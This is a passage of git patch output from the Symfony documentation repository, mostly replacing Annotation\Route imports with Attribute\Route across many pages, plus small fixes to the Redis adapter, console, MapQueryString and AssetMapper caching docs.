   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, you can also
+  Or, proxy your site through a service like Cloudflare, which will
+  automatically compress your assets for you. In Cloudflare, you can also
   enable `auto minify`_ to further compress your assets (e.g. removing
   whitespace and comments from JavaScript and CSS files).
 

From 4ad9f58ce1c9b1297145d6e1ac50af1d4d01a05f Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Thu, 29 Feb 2024 06:34:26 -0600
Subject: [PATCH 4513/5766] use attribute rather than annotation

---
 notifier.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7daefbfdffb..15866025eb6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -360,13 +360,11 @@ you to send messages to chat services::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Notifier\ChatterInterface;
     use Symfony\Component\Notifier\Message\ChatMessage;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class CheckoutController extends AbstractController
     {
-        /**
-         * @Route("/checkout/thankyou")
-         */
+        #[Route('/checkout/thankyou')]
         public function thankyou(ChatterInterface $chatter): Response
         {
             $message = (new ChatMessage('You got a new invoice for 15 EUR.'))

From da8472a15a8d2b628a1115b6d34ea340482b1971 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Feb 2024 13:44:38 +0100
Subject: [PATCH 4514/5766] Fix another annotation occurrence

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 15866025eb6..ec73449a43c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -195,7 +195,7 @@ send SMS messages::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Notifier\Message\SmsMessage;
     use Symfony\Component\Notifier\TexterInterface;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class SecurityController
     {

From 2bf73a7b47dc66085e92b13009b0a2287f800c54 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Fri, 1 Mar 2024 12:16:08 +0100
Subject: [PATCH 4515/5766] update github link for method in redis adapter

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 511cd442370..5512b576f0e 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -44,7 +44,7 @@ as the second and third parameters::
 Configure the Connection
 ------------------------
 
-The :method:`Symfony\\Component\\Cache\\Adapter\\RedisAdapter::createConnection`
+The :method:`Symfony\\Component\\Cache\\Traits\\RedisTrait::createConnection`
 helper method allows creating and configuring the Redis client class instance using a
 `Data Source Name (DSN)`_::
 

From 9f84489e56ea628af9639cdf780af9fa55994f57 Mon Sep 17 00:00:00 2001
From: pecapel <71317831+PierreCapel@users.noreply.github.com>
Date: Fri, 1 Mar 2024 15:34:25 +0100
Subject: [PATCH 4516/5766] minor: add upercases to match console output

As per : https://github.com/symfony/symfony/blob/3a02e2103409c58b8ff45c15f44bb8d1f4b3e698/src/Symfony/Component/Console/Application.php#L484C17-L484C24
---
 components/console/usage.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/usage.rst b/components/console/usage.rst
index a38b06c2cc4..d7725e8926e 100644
--- a/components/console/usage.rst
+++ b/components/console/usage.rst
@@ -104,7 +104,7 @@ If you do not provide a console name then it will just output:
 
 .. code-block:: text
 
-    console tool
+    Console Tool
 
 You can force turning on ANSI output coloring with:
 

From 32460957aec55c1065e903f8b4c3005c78644231 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 2 Mar 2024 11:06:30 +0100
Subject: [PATCH 4517/5766] Replace Annotation\Route with Attribute\Route

Inspired by https://github.com/symfony/symfony-docs/pull/19619 :)
---
 cache.rst                            |  2 +-
 configuration/micro_kernel_trait.rst |  4 +--
 controller.rst                       |  4 +--
 controller/service.rst               |  6 ++--
 controller/upload_file.rst           |  2 +-
 controller/value_resolver.rst        |  6 ++--
 doctrine.rst                         | 14 ++++-----
 doctrine/associations.rst            |  2 +-
 mailer.rst                           |  4 +--
 page_creation.rst                    |  2 +-
 quick_tour/flex_recipes.rst          |  4 +--
 quick_tour/the_architecture.rst      |  4 +--
 quick_tour/the_big_picture.rst       |  4 +--
 routing.rst                          | 44 ++++++++++++++--------------
 security.rst                         |  4 +--
 security/login_link.rst              |  4 +--
 service_container.rst                |  4 +--
 service_container/autowiring.rst     |  2 +-
 templates.rst                        |  2 +-
 19 files changed, 59 insertions(+), 59 deletions(-)

diff --git a/cache.rst b/cache.rst
index d3459ea0d06..88f76245536 100644
--- a/cache.rst
+++ b/cache.rst
@@ -910,7 +910,7 @@ In the following example, the value is requested from a controller::
 
     use App\Cache\CacheComputation;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Contracts\Cache\CacheInterface;
     use Symfony\Contracts\Cache\ItemInterface;
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 890f3fc8b9c..4b538f1b6e4 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -32,7 +32,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         use Symfony\Component\HttpFoundation\JsonResponse;
         use Symfony\Component\HttpFoundation\Request;
         use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         require __DIR__.'/vendor/autoload.php';
 
@@ -390,7 +390,7 @@ has one file in it::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class MicroController extends AbstractController
     {
diff --git a/controller.rst b/controller.rst
index 5e4d97864ac..40ed6bfc07f 100644
--- a/controller.rst
+++ b/controller.rst
@@ -23,7 +23,7 @@ class::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class LuckyController
     {
@@ -763,7 +763,7 @@ method::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Component\WebLink\Link;
 
     class HomepageController extends AbstractController
diff --git a/controller/service.rst b/controller/service.rst
index b0a552252b5..88af093ff29 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -66,7 +66,7 @@ apply the ``controller.service_arguments`` tag to your controller services::
 
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\AsController;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     #[AsController]
     class HelloController
@@ -95,7 +95,7 @@ a service like: ``App\Controller\HelloController::index``:
         namespace App\Controller;
 
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class HelloController
         {
@@ -157,7 +157,7 @@ which is a common practice when following the `ADR pattern`_
         namespace App\Controller;
 
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         #[Route('/hello/{name}', name: 'hello')]
         class Hello
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index c05e78997ba..73346408e4a 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -124,7 +124,7 @@ Finally, you need to update the code of the controller that handles the form::
     use Symfony\Component\HttpFoundation\File\UploadedFile;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Component\String\Slugger\SluggerInterface;
 
     class ProductController extends AbstractController
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 209b9c05a01..3e888793c15 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -147,7 +147,7 @@ Symfony ships with the following value resolvers in the
         namespace App\Controller;
 
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
         use Symfony\Component\Uid\UuidV4;
 
         class DefaultController
@@ -201,7 +201,7 @@ In addition, some components, bridges and official bundles provide other value r
         namespace App\Controller;
 
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class DefaultController
         {
@@ -250,7 +250,7 @@ lets you do this by "targeting" the resolver you want::
     use Symfony\Component\HttpFoundation\Session\SessionInterface;
     use Symfony\Component\HttpKernel\Attribute\ValueResolver;
     use Symfony\Component\HttpKernel\Controller\ArgumentResolver\SessionValueResolver;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class SessionController
     {
diff --git a/doctrine.rst b/doctrine.rst
index 4f4d5136a84..dee7e694897 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -356,7 +356,7 @@ and save it::
     use App\Entity\Product;
     use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class ProductController extends AbstractController
     {
@@ -438,7 +438,7 @@ Consider the following controller code::
 
     use App\Entity\Product;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Component\Validator\Validator\ValidatorInterface;
     // ...
 
@@ -502,7 +502,7 @@ be able to go to ``/product/1`` to see your new product::
     use App\Entity\Product;
     use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     // ...
 
     class ProductController extends AbstractController
@@ -535,7 +535,7 @@ and injected by the dependency injection container::
     use App\Entity\Product;
     use App\Repository\ProductRepository;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     // ...
 
     class ProductController extends AbstractController
@@ -624,7 +624,7 @@ automatically! You can simplify the controller to::
     use App\Entity\Product;
     use App\Repository\ProductRepository;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     // ...
 
     class ProductController extends AbstractController
@@ -700,7 +700,7 @@ the ``EntityValueResolver`` behavior by using the `MapEntity options`_ ::
     use App\Entity\Product;
     use Symfony\Bridge\Doctrine\Attribute\MapEntity;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     // ...
 
     class ProductController extends AbstractController
@@ -841,7 +841,7 @@ with any PHP model::
     use App\Repository\ProductRepository;
     use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     // ...
 
     class ProductController extends AbstractController
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index ba34dbf3693..a9cc365d48f 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -312,7 +312,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
     use App\Entity\Product;
     use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class ProductController extends AbstractController
     {
diff --git a/mailer.rst b/mailer.rst
index 53b9d88b6f1..527fa3d3871 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -470,7 +470,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mailer\MailerInterface;
     use Symfony\Component\Mime\Email;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class MailerController extends AbstractController
     {
@@ -1629,7 +1629,7 @@ Here's an example of making one available to download::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpFoundation\ResponseHeaderBag;
     use Symfony\Component\Mime\DraftEmail;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DownloadEmailController extends AbstractController
     {
diff --git a/page_creation.rst b/page_creation.rst
index 0bba49938f5..f8b2fdaf251 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -69,7 +69,7 @@ metadata to code):
       // src/Controller/LuckyController.php
 
       // ...
-    + use Symfony\Component\Routing\Annotation\Route;
+    + use Symfony\Component\Routing\Attribute\Route;
 
       class LuckyController
       {
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index a71961d78af..c058008b84a 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -79,7 +79,7 @@ Thanks to Flex, after one command, you can start using Twig immediately:
       // src/Controller/DefaultController.php
       namespace App\Controller;
 
-      use Symfony\Component\Routing\Annotation\Route;
+      use Symfony\Component\Routing\Attribute\Route;
     - use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
@@ -157,7 +157,7 @@ Are you building an API? You can already return JSON from any controller::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController extends AbstractController
     {
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index a4154d822b1..a323461885d 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -27,7 +27,7 @@ use the logger in a controller, add a new argument type-hinted with ``LoggerInte
     use Psr\Log\LoggerInterface;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController extends AbstractController
     {
@@ -108,7 +108,7 @@ Great! You can use it immediately in your controller::
     use Psr\Log\LoggerInterface;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController extends AbstractController
     {
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index e78cdf4e698..34bea4f82cc 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -154,7 +154,7 @@ Instead, add the route *right above* the controller method:
       namespace App\Controller;
 
       use Symfony\Component\HttpFoundation\Response;
-    + use Symfony\Component\Routing\Annotation\Route;
+    + use Symfony\Component\Routing\Attribute\Route;
 
       class DefaultController
       {
@@ -173,7 +173,7 @@ in ``DefaultController``::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController
     {
diff --git a/routing.rst b/routing.rst
index 0c3c99c0381..02fdf17bf04 100644
--- a/routing.rst
+++ b/routing.rst
@@ -64,7 +64,7 @@ do so, create a :doc:`controller class </controller>` like the following:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -178,7 +178,7 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogApiController extends AbstractController
         {
@@ -269,7 +269,7 @@ arbitrary matching logic:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class DefaultController extends AbstractController
         {
@@ -505,7 +505,7 @@ For example, the route to display the blog post contents is defined as ``/blog/{
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -584,7 +584,7 @@ the ``{page}`` parameter using the ``requirements`` option:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -702,7 +702,7 @@ concise, but it can decrease route readability when requirements are complex:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -769,7 +769,7 @@ other configuration formats they are defined with the ``defaults`` option:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -854,7 +854,7 @@ parameter:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -924,7 +924,7 @@ optional ``priority`` parameter in those routes to control their priority:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -973,7 +973,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
     use App\Entity\BlogPost;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class BlogController extends AbstractController
     {
@@ -1015,7 +1015,7 @@ convert them automatically to their scalar values.
     use App\Enum\OrderStatusEnum;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class OrderController extends AbstractController
     {
@@ -1147,7 +1147,7 @@ the controllers of the routes:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {
@@ -1220,7 +1220,7 @@ A possible solution is to change the parameter requirements to be more permissiv
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class DefaultController extends AbstractController
         {
@@ -1417,7 +1417,7 @@ when importing the routes.
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         #[Route('/blog', requirements: ['_locale' => 'en|es|fr'], name: 'blog_')]
         class BlogController extends AbstractController
@@ -1597,7 +1597,7 @@ information in a controller via the ``Request`` object::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class BlogController extends AbstractController
     {
@@ -1793,7 +1793,7 @@ host name:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class MainController extends AbstractController
         {
@@ -1868,7 +1868,7 @@ multi-tenant applications) and these parameters can be validated too with
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class MainController extends AbstractController
         {
@@ -1996,7 +1996,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class CompanyController extends AbstractController
         {
@@ -2175,7 +2175,7 @@ session shouldn't be used when matching a request:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class MainController extends AbstractController
         {
@@ -2257,7 +2257,7 @@ that defines only one route. Consider the following class::
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         final class MainController extends AbstractController
         {
@@ -2286,7 +2286,7 @@ use the ``generateUrl()`` helper::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
 
     class BlogController extends AbstractController
@@ -2588,7 +2588,7 @@ each route explicitly:
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class SecurityController extends AbstractController
         {
diff --git a/security.rst b/security.rst
index d2bdc502659..99f364fbb31 100644
--- a/security.rst
+++ b/security.rst
@@ -750,7 +750,7 @@ First, create a controller for the login form:
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class LoginController extends AbstractController
     {
@@ -1112,7 +1112,7 @@ create a controller for this path:
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class ApiLoginController extends AbstractController
     {
diff --git a/security/login_link.rst b/security/login_link.rst
index 160327cabbc..faa1d353514 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -87,7 +87,7 @@ intercept requests to this route:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class SecurityController extends AbstractController
         {
@@ -148,7 +148,7 @@ this interface::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface;
 
     class SecurityController extends AbstractController
diff --git a/service_container.rst b/service_container.rst
index b627c772949..edb61fac2de 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -30,7 +30,7 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
     use Psr\Log\LoggerInterface;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class ProductController extends AbstractController
     {
@@ -117,7 +117,7 @@ inside your controller::
     use App\Service\MessageGenerator;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class ProductController extends AbstractController
     {
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index e20d0357f4f..1352f03475a 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -126,7 +126,7 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController extends AbstractController
     {
diff --git a/templates.rst b/templates.rst
index 529f09b2a78..d8558c5872a 100644
--- a/templates.rst
+++ b/templates.rst
@@ -192,7 +192,7 @@ Consider the following routing configuration:
 
         // ...
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {

From 55616d8d0e8d689e5bacb571afb325e15089d71d Mon Sep 17 00:00:00 2001
From: Neil Peyssard <neil.peyssard@sensiolabs.com>
Date: Mon, 4 Mar 2024 09:47:16 +0100
Subject: [PATCH 4518/5766] [HttpKernel] Explain how to define default value in
 MapQueryString

---
 controller.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/controller.rst b/controller.rst
index 40ed6bfc07f..6bd1b4184da 100644
--- a/controller.rst
+++ b/controller.rst
@@ -451,6 +451,24 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
+If the request query string is empty and if you still need to have a valid DTO, you can
+define a default value in your controller method::
+
+    use App\Model\UserDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryString;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryString] UserDTO $userDto = new UserDTO()
+    ): Response
+    {
+        // ...
+    }
+
+In this case your DTO should have default values.
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute

From c2153664b0a257182e1778f23646452eabdd0282 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 4 Mar 2024 11:53:56 +0100
Subject: [PATCH 4519/5766] [AssetMapper] Recommending `Cache-Control` instead
 of `Expires` HTTP header

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#optimizing-performance

See https://github.com/symfony/symfony-docs/issues/19626#issuecomment-1975368600
---
 frontend/asset_mapper.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 42c39811b04..355b774ed01 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -640,10 +640,10 @@ which will automatically do most of these things for you:
   enable `auto minify`_ to further compress your assets (e.g. removing
   whitespace and comments from JavaScript and CSS files).
 
-- **Set long-lived Expires headers**: Your web server should set long-lived
-  ``Expires`` HTTP headers on your assets. Because the AssetMapper component includes a version
-  hash in the filename of each asset, you can safely set the ``Expires`` header
-  to a very long time in the future (e.g. 1 year). This isn't automatic in
+- **Set long-lived cache expiry**: Your web server should set a long-lived
+  ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version
+  hash in the filename of each asset, you can safely set ``max-age``
+  to a very long time (e.g. 1 year). This isn't automatic in
   any web server, but can be easily enabled.
 
 Once you've done these things, you can use a tool like `Lighthouse`_ to

From b1157a6822b7a965c4d3c085d9d714eb668803db Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 4 Mar 2024 16:40:34 +0100
Subject: [PATCH 4520/5766] [AssetMapper] Removing duplication

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#importing-3rd-party-javascript-packages

Reason: The command was in the text and then again in the code block.
---
 frontend/asset_mapper.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 42c39811b04..222f7f59a76 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -217,8 +217,7 @@ Now you can import the ``bootstrap`` package like usual:
 
